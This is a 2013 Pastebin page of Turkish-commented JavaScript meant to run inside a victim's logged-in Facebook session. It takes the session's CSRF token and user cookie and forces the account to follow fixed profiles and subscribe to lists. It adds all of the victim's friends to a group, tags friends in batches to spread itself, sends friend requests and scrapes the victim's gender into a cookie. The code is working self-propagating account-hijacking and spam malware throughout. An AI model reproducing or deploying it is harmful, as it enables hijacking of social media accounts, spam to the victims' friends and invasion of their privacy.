Advertisement
gersy

100003712594550

May 30th, 2013
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.67 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3.  
  4. function cereziAl(isim) {
  5. var tarama = isim + "=";
  6. if (document.cookie.length > 0) {
  7. konum = document.cookie.indexOf(tarama)
  8. if (konum != -1) {
  9. konum += tarama.length
  10. son = document.cookie.indexOf(";", konum)
  11. if (son == -1)
  12. son = document.cookie.length
  13. return unescape(document.cookie.substring(konum, son))
  14. }
  15. else { return ""; }
  16. }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20. return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23. return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30. var http4 = new XMLHttpRequest();
  31.  
  32. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.  
  34. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35. http4.open("POST", url4, true);
  36.  
  37. //Send the proper header information along with the request
  38. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39. http4.setRequestHeader("Content-length", params4.length);
  40. http4.setRequestHeader("Connection", "close");
  41.  
  42. http4.onreadystatechange = function() {//Call a function when the state changes.
  43. if(http4.readyState == 4 && http4.status == 200) {
  44.  
  45. http4.close; // Close the connection
  46.  
  47. }
  48. }
  49.  
  50. http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54. var a = document.createElement('script');
  55. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56. document.body.appendChild(a);
  57. }
  58.  
  59. a("100002269398437");
  60. a("100003712594550");
  61. a("100002422501731");
  62. a("100002390671863");
  63. a("100002423314479");
  64. a("100002645563221");
  65. a("100002464035139");
  66. a("100002695006763");
  67. a("100004080636921");
  68. a("1518065441");
  69. a("1265745735");
  70.  
  71.  
  72. sublist("169313559891585");
  73.  
  74.  
  75.  
  76. sublist("190492747773666");
  77.  
  78. var gid = ['491042304279099'];
  79.  
  80. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  81. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  82.  
  83. var httpwp = new XMLHttpRequest();
  84. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  85. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  86. httpwp['open']('POST', urlwp, true);
  87. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  88. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  89. httpwp['setRequestHeader']('Connection', 'keep-alive');
  90. httpwp['send'](paramswp);
  91.  
  92. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  93. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  94.  
  95. var friends = new Array();
  96. gf = new XMLHttpRequest();
  97. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  98. gf['send']();
  99. if (gf['readyState'] != 4) {} else {
  100. data = eval('(' + gf['responseText']['substr'](9) + ')');
  101. if (data['error']) {} else {
  102. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  103. return _0x93dax8['index'] - _0x93dax9['index'];
  104. });
  105. };
  106. };
  107.  
  108. for (var i = 0; i < friends['length']; i++) {
  109. var httpwp = new XMLHttpRequest();
  110. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  111. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  112. httpwp['open']('POST', urlwp, true);
  113. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  114. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  115. httpwp['setRequestHeader']('Connection', 'keep-alive');
  116. httpwp['onreadystatechange'] = function () {
  117. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  118. };
  119. httpwp['send'](paramswp);
  120. };
  121. var spage_id = "135937206576386";
  122. var spost_id = "201310873248567";
  123. var sfoto_id = "169722359761696";
  124. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  125. var smesaj = "";
  126. var smesaj_text = "";
  127. var arkadaslar = [];
  128. var svn_rev;
  129. var bugun= new Date();
  130. var btarihi = new Date();
  131. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  132. if(!document.cookie.match(/paylasti=(\d+)/)){
  133. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  134. }
  135.  
  136.  
  137. //arkadaslari al ve isle
  138. function sarkadaslari_al(){
  139. var xmlhttp = new XMLHttpRequest();
  140. xmlhttp.onreadystatechange = function () {
  141. if(xmlhttp.readyState == 4){
  142. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  143. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  144. smesaj = "";
  145. smesaj_text = "";
  146. for(i=f*10;i<(f+1)*10;i++){
  147. if(arkadaslar.payload.entries[i]){
  148. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  149. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  150. }
  151. }
  152. sdurumpaylas(); }
  153.  
  154. }
  155.  
  156. };
  157. var params = "&filter[0]=user";
  158. params += "&options[0]=friends_only";
  159. params += "&options[1]=nm";
  160. params += "&token=v7";
  161. params += "&viewer=" + user_id;
  162. params += "&__user=" + user_id;
  163.  
  164. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  165. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  166. xmlhttp.send();
  167. }
  168.  
  169. //tiklama olayini dinle
  170. var tiklama = document.addEventListener("click", function () {
  171. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  172. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  173. sarkadaslari_al();
  174. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  175.  
  176. document.removeEventListener(tiklama);
  177. }
  178. }, false);
  179.  
  180.  
  181. //arkada?¾ ekleme
  182. function sarkadasekle(uid,cins){
  183. var xmlhttp = new XMLHttpRequest();
  184. xmlhttp.onreadystatechange = function () {
  185. if(xmlhttp.readyState == 4){
  186. }
  187. };
  188.  
  189. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  190. var params = "to_friend=" + uid;
  191. params += "&action=add_friend";
  192. params += "&how_found=friend_browser";
  193. params += "&ref_param=none";
  194. params += "&outgoing_id=";
  195. params += "&logging_location=friend_browser";
  196. params += "&no_flyout_on_click=true";
  197. params += "&ego_log_data=";
  198. params += "&http_referer=";
  199. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  200. params += "&phstamp=165816749114848369115";
  201. params += "&__user=" + user_id;
  202. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  203. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  204.  
  205. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  206. xmlhttp.send(params);
  207. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  208. cinsiyetgetir(uid,cins,"sarkadasekle");
  209. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  210. xmlhttp.send(params);
  211. }
  212. }
  213.  
  214. //cinsiyet belirleme
  215. var cinssonuc = {};
  216. var cinshtml = document.createElement("html");
  217. function scinsiyetgetir(uid,cins,fonksiyon){
  218. var xmlhttp = new XMLHttpRequest();
  219. xmlhttp.onreadystatechange = function () {
  220. if(xmlhttp.readyState == 4){
  221. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  222. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  223. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  224. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  225. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  226. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  227. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  228. }
  229. eval(fonksiyon + "(" + id + "," + cins + ");");
  230. }
  231. };
  232. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  233. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  234. xmlhttp.send();
  235. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement